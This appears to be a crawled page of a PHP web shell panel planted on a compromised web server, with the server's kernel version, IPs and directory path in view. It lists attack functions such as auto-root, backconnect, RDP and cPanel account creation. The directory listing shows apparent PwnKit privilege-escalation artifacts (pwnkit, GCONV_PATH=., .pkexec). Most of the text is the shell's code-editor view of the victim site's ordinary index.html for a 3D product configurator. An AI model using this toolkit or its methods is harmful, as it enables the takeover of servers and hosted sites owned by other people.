Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.216.78.112
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
threesixtycubes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
360
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
glb
[ DIR ]
drwxr-xr-x
glb_text
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
sneaker_glb
[ DIR ]
drwxr-xr-x
texture
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
360.zip
50.33
MB
-rw-r--r--
earlier_version.html
24.37
KB
-rw-r--r--
index.html
32.8
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
try.html
24.98
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.html
<!DOCTYPE html> <html lang="en"> <head> <title>360 Sixty</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="apple-touch-icon" sizes="180x180" href="./img/apple-touch-icon.png"> <link rel="icon" type="image/png" sizes="32x32" href="./img/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="./img/favicon-16x16.png"> <link rel="stylesheet" href="./css/customstyle.css"> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@100;400;500;600;700&display=swap" rel="stylesheet"> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.2/jquery.min.js" crossorigin="anonymous"></script> <script src="./js/owl.carousel.min.js" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/three@0.115/build/three.js"></script> <script src="https://cdn.jsdelivr.net/npm/three@0.122.0/examples/js/controls/OrbitControls.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/three@0.115/examples/js/loaders/GLTFLoader.js"></script> </head> <body> <div class="mainTop position-relative"> <header> <div class="cst-container"> <div class="width-1153 mvNone"> <div class="navHeader"> <ul class="navtop"> <li><a class="logo" href="#"> <img src="./img/threesixtycubes.png" loading="lazy" alt="Logo" width="287" height="25"> </a></li> <li><a href="#Withoutlimits">Features & Solutionxx</a></li> <li><a href="#Qtxt">Insights</a></li> <li><a href="#threeDemo">Demo</a></li> <li><a href="#PricingX">Pricing</a></li> <li><a href="#FaqX">FAQ</a></li> </ul> </div> </div> <div class="mvblock Amk"> <a class="logomb" href="#"> <img src="./img/threesixtycubes.png" loading="lazy" alt="Logo" width="287" height="25"></a> <!-- <span class="menu-tab"> <svg width="46" height="22" viewBox="0 0 46 22" fill="none" xmlns="http://www.w3.org/2000/svg"> <rect y="17.0342" width="45.1427" height="4.93146" rx="2.46573" fill="#fff"/> <rect y="0.0341797" width="45.1427" height="4.93146" rx="2.46573" fill="#fff"/> </svg> </span> --> <div class="menu-tab"> <div id="one"></div> <div id="two"></div> <div id="three"></div> </div> </div> <div class="menu-hide"> <nav> <ul> <li><a href="#section1">Features & Solution</a></li> <li><a href="#section1">Insights</a></li> <li><a href="#section1">Demo</a></li> <li><a href="#PricingX">Pricing</a></li> <li><a href="#FaqX">FAQ</a></li> </ul> </nav> </div> </div> </header> </div> <section class="vid-header bc-black position-relative" id="vid1"> <div id="bound-three" class="scroll-bound"> <div class="content"> <video width="100%" muted preload> <source src="./img/video9.mp4" type="video/mp4"> <source src="./img/video9.mp4" type="video/mp4"> </video> </div> </div> </section> <section class="onlyBlack bc-black" id="Withoutlimits"> <div class="cst-container"> <div class="flexCenter"> <h1 class="MaxFont">Customise Without limits</h1> </div> </div> </section> <!--3D Start--> <section class="onlyBlack bc-black th3d-demo" id="threeDemo" style="background-image: url(./img/bg.png);"> <div class="t3d-height position-relative"> <!--<button class="top_Button" data-userid="red.jpg" data-types="dummy">Red</button>--> <!--<button class="top_Button" data-userid="black.jpg" data-types="dummy" >Black</button>--> <!--<button class="top_Button" data-userid="blue.jpg" data-types="dummy" >Blue</button>--> <!--<button class="top_Button" data-userid="green.jpg" data-types="dummy" >Green</button>--> <!--<button class="top_Button" data-userid="purple.jpg" data-types="dummy" >Purple</button>--> <!--<button class="top_Button" data-userid="white.jpg" data-types="dummy" >White</button>--> <!--<button class="top_Button" data-userid="pattern.jpg" data-types="dummy" >Pattern</button>--> <div class="Treecolor EachCollect"> <div class="showImg"> <img src="./img/sole.png" loading="lazy" alt="3d Logo"> </div> <div class="RightQwerty"> <h2 class="objectHeading">Color Middle</h2> <div class="wrapBtnColor"> <button class="top_Button Grey-color" data-userid="Grey.jpg" data-types="middle" ></button> <button class="top_Button lightBlue-color" data-userid="Light Blue.jpg" data-types="middle" ></button> <button class="top_Button LightPurple-color" data-userid="light purple.jpg" data-types="middle" > </button> <button class="top_Button Peach-color" data-userid="peach.jpg" data-types="middle" ></button> <button class="top_Button Yello-color" data-userid="yellow.jpg" data-types="middle" ></button> </div> </div> </div> <div class="TreeSole EachCollect"> <div class="showImg"> <img src="./img/sole.png" loading="lazy" alt="3d Logo"> </div> <div class="RightQwerty"> <h2 class="objectHeading">Sole</h2> <div class="wrapBtnColor"> <button class="top_Button sole-red red" data-userid="red.jpg" data-types="sole"></button> <button class="top_Button sole-red black" data-userid="black.jpg" data-types="sole"></button> <button class="top_Button sole-red blue" data-userid="blue.jpg" data-types="sole"></button> <button class="top_Button sole-red green" data-userid="green.jpg" data-types="sole"></button> <button class="top_Button sole-red purple" data-userid="purple.jpg" data-types="sole"></button> <button class="top_Button sole-red white" data-userid="white.jpg" data-types="sole"></button> </div> </div> </div> <div class="TreeLaces EachCollect"> <div class="showImg"> <img src="./img/sole.png" loading="lazy" alt="3d Logo"> </div> <div class="RightQwerty"> <h2 class="objectHeading">Laces</h2> <div class="wrapBtnColor"> <button class="top_Button Laces-red red" data-userid="red.jpg" data-types="laces" ></button> <button class="top_Button Laces-red black" data-userid="black.jpg" data-types="laces"></button> <button class="top_Button Laces-red blue" data-userid="blue.jpg" data-types="laces"></button> <button class="top_Button Laces-red green" data-userid="green.jpg" data-types="laces"></button> <button class="top_Button Laces-red purple" data-userid="purple.jpg" data-types="laces"></button> <button class="top_Button Laces-red white" data-userid="white.jpg" data-types="laces"></button> </div> </div> </div> <div class="TreePattern EachCollect"> <div class="showImg"> <img src="./img/sole.png" loading="lazy" alt="3d Logo"> </div> <div class="RightQwerty"> <h2 class="objectHeading">Pattern</h2> <div class="wrapBtnColor"> <!-- <button class="top_Button top_Button_gltf Pattern" data-userid="Sneaker_abstract.glb" data-types="dummy">--> <!-- <img src="./img/Van Gogh.webp" loading="lazy" alt="3d Logo">--> <!--</button>--> <button class="top_Button top_Button_gltf Pattern" data-userid="Sneaker_Van_gogh.glb" data-types="dummy"> <img src="./img/Van Gogh.webp" loading="lazy" alt="3d Logo"> </button> <button class="top_Button top_Button_gltf Pattern" data-userid="Sneaker_abstract2.glb" data-types="dummy"> <img src="./img/Pattern 2.webp" loading="lazy" alt="3d Logo"> </button> <button class="top_Button top_Button_gltf Pattern" data-userid="Sneaker pattern_rick_morty.glb" data-types="dummy"> <img src="./img/Rick and Morty.webp" loading="lazy" alt="3d Logo"> </button> <button class="top_Button top_Button_gltf Pattern" data-userid="Sneaker pattern_Abstract3.glb" data-types="dummy"> <img src="./img/Pattern 1.webp" loading="lazy" alt="3d Logo"> </button> <button class="top_Button top_Button_gltf Pattern" data-userid="Sneaker pattern_destiny.glb" data-types="dummy"> <img src="./img/D2.webp" loading="lazy" alt="3d Logo"> </button> </div> </div> </div> <h2 class="realvs">Real Visual Commerce. Real Results.</h2> <canvas id="c" data-engine="three.js r149" width="442" height="460" style="touch-action: none;"></canvas> <div class="roll-img"> <img src="./img/3d rotation indicator.png" loading="lazy" alt="3d Logo"> </div> </div> </section> <!--3D--> <!--Q --> <section class="GridP bc-black" id="DemoP"> <div class="cst-container"> <h2 class="Qtitle font-60">One website,<br> Countless possibilities </h2> <div class="Grid3"> <div class="items3 GirdsItems text-center"> <h2>Built with SEO in mind</h2> <p>Specifically designed with an SEO-friendly website that you can update to show up on Google!</p> </div> <div class="items3 GirdsItems text-center"> <h2>Enterprise-grade security</h2> <p>We keep your site and visitors’ data protected, 24/7.</p> </div> <div class="items3 GirdsItems text-center"> <h2>Responsive Site</h2> <p>Responsive website created that functions on all current devices!</p> </div> <div class="items3 GirdsItems text-center"> <h2>Faster loading</h2> <p>Coded technology with compressed files to speed up website loading for your visitors!</p> </div> <div class="items3 GirdsItems text-center"> <h2>Google Analytics Integration</h2> <p>Analytics built in so you can access all the data to understand your</p> </div> <div class="items3 GirdsItems text-center"> <h2>Hosting</h2> <p>Server chosen for your requirements to guarantee 99.9% Uptime </p> </div> </div> </div> </section> <!--Q --> <!-- div Quee--> <section class="squ" id="Qtxt"> <div class="full-container"> <div class="Gflex pos-relative"> <div class="items50"> <div class="imageBacTxt" style="background-image: url('./img/imgBottom.png');"> <div class="SliderTxt"> <div class="cstV position-relative owl-carousel owl-theme"> <div class="item"> <h3>"Product configurators have the power to transform the way businesses interact with their customers and can drive increased revenue, improved customer satisfaction, and reduced costs."</h3> <p class="userName">- Deloitte Insights</p> </div> <div class="item"> <h3>"Product configurators are becoming an essential part of the digital transformation of manufacturing and retail industries. They provide customers with a highly personalized experience, while enabling companies to streamline their product design and sales processes."</h3> <p class="userName">- McKinsey & Company</p> </div> <div class="item"> <h3>“The 3D product configurator is a game changer for the way products are designed, developed, and sold. It enables companies to bring their products to market faster, with greater accuracy, and at a lower cost, while providing customers with a more engaging and personalized experience."</h3> <p class="userName">- Jim Heppelmann, CEO of PTC</p> </div> <div class="item"> <h3>"Product configurators are a powerful tool for companies looking to stay ahead of the curve in today's fast-paced business environment. They can help to improve the customer experience, drive sales, and reduce costs, all while providing valuable insights into customer preferences and behavior."</h3> <p class="userName">- Bain & Company</p> </div> </div> </div> </div> </div> <!-- slider--> <div class="items51"> <div class="othesQ"> <div class="paddonx"> <h2 class="font-150">60%</h2> <p class="subsmall">Higher Conversions Are Earned With Interactive 3D.</p> <div class="frline"></div> <div class="mrQx"> <p class="font-18"> Using 3D visualisation to instils trust and increases sales. </p> <p class="font-14">For consumers to feel secure in their purchase, a product page should provide as much information as possible. Research shows that that 70-85% of smartphone owners in different countries were influenced by product photographs and visuals, while an almost identical percentage (82%) was influenced by product descriptions and specifications. Internet buyers like the added depth of knowledge that 3D renderings provide before making an online purchase.</p> </div> </div> </div> </div> <!-- slider--> </div> <!-- f1 --> <div class="Gflex pos-relative"> <div class="items50 blueQ"> <div class="paddonx"> <h2 class="font-150">35%</h2> <p class="">Reduction In Rate of Product Returns.</p> <div class="frline"></div> <div class="mrQx"> <p class="font-18"> Reduce Returns While Gaining Brand Recognition </p> <p class="font-14">What You See While Using A 3D Product is Exactly What You Receive. Customers Can Make Better-Informed Purchasing Decisions With The Aid Of 3D Showcase Technology As Businesses Work To Lower Return Rates Resulting In Satisiied Customers and Less Business Running Cost. By Utilising A 3D Configurator, Customers Are Able To See A More Precise Visual Representation Of The Product's Details Than Is Possible With 2D Images. </p> </div> </div> </div> <!-- slider--> <div class="items51 blueLight"> <div class="othesQ"> <div class="paddonx"> <h2 class="font-150">12X</h2> <p class="subsmall">Increase In Likelihood Of User Engagment.</p> <div class="frline"></div> <div class="mrQx"> <p class="font-18"> Generate more sales with 3D. </p> <p class="font-14">Data from our past experience And collected statistics research has shown that customers who use product configurators tend to have a higher level of engagement and satisfaction with the product selection and purchasing process, which can lead to increased conversions and reduced product returns. Additionally, by allowing customers to see a visual representation of the product they are considering purchasing, a configurator can help to build trust and confidence in the brand, which can further drive sales.</p> </div> </div> </div> </div> <div class="width-960 pos-abs"> <h2 class="wexH2">Want to learn more about <br> our services?</h2> <p> <a href="javascript:void(0)" class="bh-btn mediumTxt-18" aria-label="Talk to an expert" > Talk to an expert </a> </p> </div> </div> <!-- f1 --> </div> </section> <!-- div Quee--> <div id="bound-two" class="scroll-bound"> <div class="content"> <video width="100%" muted preload> <source src="./img/laptop8.mp4" type="video/mp4"> <source src="./img/laptop8.mp4" type="video/ogg"> </video> </div> </div> <!-- vid --> <section class="vid-img bc-black video-container" id="Qpower"> <div class="cst-container"> <div class="width-1153"> <div class="wrapVid"> <div class="vidTxt"> <h2 class="vidh2 font-60">Powerful Cms</h2> <p class="vidtxtp font-18">Manage Content-Driven Site. Update and Control Every Kind Of Content In Your website And View Detailed Reporting Of Your Website And User Interactions While Being Stored In An Secure Admin Panel Which Accessible To You Anywhere Or Any Platform.</p> <p> <a href="javascript:void(0)" class="ex-btn" aria-label="Talk to an expert" > Talk to an expert </a> </p> <!-- <div class="ulli"> <p class="mediumTxt-18"> > Order Management</p> <p class="mediumTxt-18"> > Product Management</p> <p class="mediumTxt-18"> > Traffic Analysis</p> <p class="mediumTxt-18"> > User Management</p> <p class="mediumTxt-18"> > Secure Login Panel</p> <p class="mediumTxt-18"> > Frontend Design Control</p> <p class="mediumTxt-18"> > Coupon Generators</p> <p class="mediumTxt-18"> > Price Management</p> <p class="mediumTxt-18"> > Social-Media Management</p> <p class="mediumTxt-18"> > Seo Management</p> <p class="mediumTxt-18"> & Plenty More Customized To You Or Specifics Needs</p> </div> --> </div> <div class="DivShowx Gi-2"> <div class="g2-items ulli"> <p class="mediumTxt-18"> > Order Management</p> </div> <div class="g2-items ulli"> <p class="mediumTxt-18"> > Product Management</p> </div> <div class="g2-items ulli"> <p class="mediumTxt-18"> > Traffic Analysis</p> </div> <div class="g2-items ulli"> <p class="mediumTxt-18"> > User Management</p> </div> <div class="g2-items ulli"> <p class="mediumTxt-18"> > Secure Login Panel</p> </div> <div class="g2-items ulli"> <p class="mediumTxt-18"> > Frontend Design Control</p> </div> <div class="g2-items ulli"> <p class="mediumTxt-18"> > Coupon Generators</p> </div> <div class="g2-items ulli"> <p class="mediumTxt-18"> > Price Management</p> </div> <div class="g2-items ulli"> <p class="mediumTxt-18"> > Social-Media Management</p> </div> <div class="g2-items ulli"> <p class="mediumTxt-18"> > Seo Management</p> </div> <div class="g2-items ulli"> <p class="mediumTxt-18"> & Plenty More Customized To You Or Specifics Needs</p> </div> </div> </div> </div> </section> <!--pricing--> <section class="Pricing bc-black" id="PricingX"> <div class="width-1153"> <h2 class="PricingH2 Ttotal font-60">We Have The Best Offers For Your Various Types Of Business</h2> <div class="DmTable"> <div class="table-responsive"> <table class="pricing-table"> <thead> <tr class="topHeadPricing"> <td width="39.1%" class="pricing-table-text"> <h4 class="txt-sm"> Plans and Pricing </h4> </td> <td width="20.3%" class="pricing-table-text"> <div class="pricing-table-item-head"> <h2>Basic</h2> <p>Convenience of payroll and<br> something at affordable prices </p> </div> </td> <td width="20.3%" class="pricing-table-text"> <div class="pricing-table-item-head"> <div class="top-bar"> <span>Best Seller</span> </div> <h2>Pro</h2> <p>Integrated payroll solution with comprehensive features </p> </div> </td> <td width="20.3%" class="pricing-table-text"> <div class="pricing-table-item-head"> <h2>Tailor made</h2> <p>Discuss with us</p> </div> </td> </tr> </thead> <tbody> <tr class="pricing-table-list"> <td> <p>Page</p> </td> <td> <p>1</p> </td> <td> <p>Up to 5</p> </td> <td> <p>Discuss with us</p> </td> </tr> <tr class="pricing-table-list"> <td> <p>Responsive Design</p> </td> <td> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </td> <td> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </td> <td> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </td> </tr> <tr class="pricing-table-list"> <td> <p>Product</p> </td> <td> <p>1</p> </td> <td> <p>Up to 5</p> </td> <td> <p>Discuss with us</p> </td> </tr> <tr class="pricing-table-list"> <td> <p>Video render</p> </td> <td> <p>1</p> </td> <td> <p>Up to 5</p> </td> <td> <p>Discuss with us</p> </td> </tr> <tr class="pricing-table-list"> <td> <p>SEO Friendly</p> </td> <td> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </td> <td> <p> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </p> </td> <td> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </td> </tr> <tr class="pricing-table-list"> <td> <p>Source File</p> </td> <td> <p></p> </td> <td> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </td> <td> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </td> </tr> </tbody> </table> </div> </div> </div> </section> <!--pricing--> <!--Faq--> <section class="Faq" id="FaqX"> <div class="cst-container"> <div class="width-1153 mb-50"> <h2 class="Ttotal font-60">FAQs</h2> </div> <div class="FaqQ"> <div class="itemsFaq"> <div class="Qfaq font-24"> <span class="txt-dots"></span> <p>How do you create 3d models for my product? </p> </div> <div class="Afaq mediumTxt-18"> We will ask you to send your product to us or we will visit your work/factory to create full 3d models using our state of the art software with out talented 3d modeling team. </div> </div> <div class="linehr"></div> <div class="itemsFaq"> <div class="Qfaq font-24"> <span class="txt-dots"></span> <p>How does 3d platform integrate with my existing e-commerce platform? </p> </div> <div class="Afaq mediumTxt-18"> Our platform can be integrated into an existing e-commerce platform in several ways, depending on the platform being used. We can be integrate it as a standalone application, It can be integrated as a plugin/API or module within the e-commerce platform. </div> </div> <div class="linehr"></div> <div class="itemsFaq"> <div class="Qfaq font-24"> <span class="txt-dots"></span> <p> How can I customize the look and feel of 3D product configurator to match my brand and website design? </p> </div> <div class="Afaq mediumTxt-18"> We will follow your brand guidelines such your FONTS, LOGO, COLOR SCHEMES, the LOOK and FEEL since its a 100% custom built website. We will be creating your full fresh concept using our talent UI designers and multiple software to get the perfect look to display your product keeping the user friendly and high conversion points in mind. </div> </div> <div class="linehr"></div> <div class="itemsFaq"> <div class="Qfaq font-24"> <span class="txt-dots"></span> <p>How long does it take to set up a product configurator and what is the process like? </p> </div> <div class="Afaq mediumTxt-18"> The time it takes to set up our 3d product code will depend on the specific product configurator being used and the complexity of the product being configured. However, the process typically involves designing and building the 3D models of the products, creating the options and parameters for the configurator, and integrating the product configurator into the e-commerce platform. The setup process may also include testing and debugging, as well as training for using and maintaining the product configuration. </div> </div> </div> </div> </section> <!--Faq End--> <section class="bc-black" id="GetX"> <div class="cst-container"> <div class="w-1202"> <div class="flexCenter h1024 text-center"> <h2 class="MaxFont">Lets take your product <br> to the next level</h2> <a class="linkA mediumTxt-18" aria-label="Get Started" href="javascript:void(0)">Get Started</a> </div> </div> </div> </section> <footer class="bc-black"> <div class="width-1420"> <div class="users-footer"> <div class="itemV5"> <ul class="footerul w-330"> <li><a href="#threeDemo" aria-label="Live Demo">Live Demo</a> </li> <li><a href="#Qtxt" aria-label="Live Demo">insights</a> </li> <li><a href="mailto:sumer@noormertech.com" target="_blank" aria-label="Contact">contact</a> </li> </ul> </div> <div class="itemV5 w-50"> <span class="line"></span> </div> <div class="itemV5"> <p>THREESIXTYcubes © 2022</p> </div> <div class="itemV5 w-50"> <span class="line"></span> </div> <div class="itemV5"> <ul class="footerul w-215"> <li><a href="https://www.instagram.com/threesixtycubes/?hl=en" aria-label="instagram" target="_blank">instagram</a> </li> <li><a href="https://www.linkedin.com/company/threesixtycubes/" aria-label="linkedin" target="_blank">linkedin</a> </li> </ul> </div> </div> </div> </footer> <!-- popup --> <div class="custom-model-main"> <div class="custom-model-inner"> <div class="form-inner modelDoc position-relative"> <button class="uk-icon close-btn" type="button" data-uk-close="ratio: 2;"><span>Close</span><svg width="28" height="28" viewBox="0 0 14 14" xmlns="http://www.w3.org/2000/svg"><line fill="none" stroke="#fff" stroke-width="1.1" x1="1" y1="1" x2="13" y2="13"></line><line fill="none" stroke="#fff" stroke-width="1.1" x1="13" y1="1" x2="1" y2="13"></line></svg></button> <h2 class="uk-modal-title">Let's Talk?</h2> <p>Let’s make something awesome togheter</p> <form class="pr__contact" action="#"> <div class="pr__form__group"> <label for="name">Your Name <span class="required">*</span></label> <input type="text" class="pr-input" id="name" name="name" required=""> </div> <div class="pr__form__group"> <label for="email">Your E-Mail <span class="required">*</span></label> <input type="text" class="pr-input" id="email" name="email" required=""> </div> <div class="pr__form__group"> <label for="subject">Your Phone No <span class="required">*</span></label> <input type="text" class="pr-input" id="Phone No" name="phone-no" required=""> </div> <div class="pr__form__group"> <label for="message">Your message <span class="required">*</span></label> <textarea class="pr-textarea" id="message" name="message"></textarea> </div> <p class="pr__form__group uk-margin-large"> <button class="uk-button uk-button-large uk-button-primary" type="submit">Send message</button> </p> </form> </div> </div> <div class="bg-overlay"></div> </div> <!-- popup --> <script> const registerVideo = (bound, video) => { bound = document.querySelector(bound); video = document.querySelector(video); const scrollVideo = () => { if (video.duration) { const distanceFromTop = window.scrollY + bound.getBoundingClientRect().top; const rawPercentScrolled = (window.scrollY - distanceFromTop) / (bound.scrollHeight - window.innerHeight); const percentScrolled = Math.min(Math.max(rawPercentScrolled, 0), 1); // 0,1 --> original video.currentTime = video.duration * percentScrolled; } requestAnimationFrame(scrollVideo); } requestAnimationFrame(scrollVideo); document.addEventListener("touchmove", function (event) { if (event.touches[0].clientY > window.innerHeight / 2) { video.playbackRate += 0.25; } else { // video.playbackRate -= 0.25; // Original } }); } $(document).ready(function () { if ($(window).width() > 767) { registerVideo("#bound-two", "#bound-two video"); registerVideo("#bound-three", "#bound-three video"); } }); </script> <script src="./js/customscript.js"></script> <script type="text/javascript" src="./js/three-js-module.js"></script> </body> </html>
Close
